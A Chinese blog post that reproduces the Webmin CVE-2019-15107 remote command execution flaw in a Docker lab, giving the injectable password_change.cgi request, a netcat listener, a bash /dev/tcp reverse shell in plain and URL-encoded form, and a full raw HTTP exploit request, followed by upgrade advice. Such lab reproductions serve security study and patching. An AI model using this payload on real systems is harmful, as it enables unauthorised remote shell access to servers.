• Webmin(CVE-2019-15107)远程命令执行漏洞复现


    漏洞编号

    CVE-2019-15107

    webmin介绍

    什么是webmin

    • Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作http://www.webmin.com/
    • Webmin 是一个用 Perl 编写的基于浏览器的管理应用程序。
    • 是一个基于Web的界面,用于Unix的系统管理。使用任何支持表和表单的浏览器,可以设置用户帐户,Apache,DNS,文件共享等。

    为什么用webmin

    • Linux系统因其高效稳定而受到广大用户的推崇与青睐,然后其管理有一定复杂性和学习周期。为了降低 Linux系统的管理难度,有时候会对公司内的Linux主机或VPS系统预装了网页管理工具webmin

    漏洞描述

    该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码。

    该漏洞由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码

    影响版本

    Webmin<=1.920

    漏洞复现

    环境搭建

    使用docker搭建

    image-20231012172949982

    image-20231012173010430

    进行登录:https://127.0.0.1:10000/
    
    • 1

    image-20231012173815157

    漏洞验证

    https://192.168.16.176:10000/passwore_change.cgi

    使用hackBar的post模式输入:user=rootxx&pam=&expired=2&old=text|ls&new1=test2&new2=test2

    image-20231012191200290

    使用bp抓包

    image-20231012191747761

    获得反弹shell

    kali虚拟机中输入

    nc -lvvp 666
    
    • 1
    bash -c "bash -i >& /dev/tcp/192.168.16.176/666 0>&1"
    
    url编码
    %62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%36%2e%31%37%36%2f%36%36%36%20%30%3e%26%31%22
    
    • 1
    • 2
    • 3
    • 4

    image-20231012192000178

    将反弹shell脚本url编码过后替换数据包中的old

    POST /password_change.cgi HTTP/1.1
    Host: 192.168.16.176:10000
    Cookie: redirect=1; testing=1
    Content-Length: 62
    Cache-Control: max-age=0
    Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
    Sec-Ch-Ua-Mobile: ?0
    Sec-Ch-Ua-Platform: "Linux"
    Upgrade-Insecure-Requests: 1
    Origin: https://192.168.16.176:10000
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Dest: document
    Referer: https://192.168.16.176:10000/passwore_change.cgi
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Sec-Fetch-User: ?1
    Connection: close
    
    user=rootxx&pam=&expired=2&old=%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%36%2e%31%37%36%2f%36%36%36%20%30%3e%26%31%22&new1=test2&new2=test2
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    获得shell成功

    image-20231012192408877

    附带文件

    wireshark

    加固建议

    • 直接升级到1.930版本

    • 临时修补方案,可以定位漏洞代码所在的行,然后剔除后在github上下载password_change.cgi文件

    参考信息

    Vulhub - Docker-Compose file for vulnerability environment

    Webmin 远程命令执行漏洞(CVE-2019-15107)

    webmin远程命令执行漏洞(CVE-2019-15107)

    漏洞分类

    Webmin 远程命令执行漏洞

  • 相关阅读:
    【C++】格式与实例化操作——[模板]详解(7)
    [PAT练级笔记] 03 Basic Level 1004
    第四章 使用管理门户(四)
    windows排除扫描文件夹
    php 获取音频时长等信息
    git操作学习记录,简单易上手
    remote: The project you were looking for could not be found
    C#扩展——自定义VS公/私有方法代码片段
    nginx-缓存
    【C++】C/C++内存管理
  • 原文地址:https://blog.csdn.net/weixin_58954236/article/details/133819065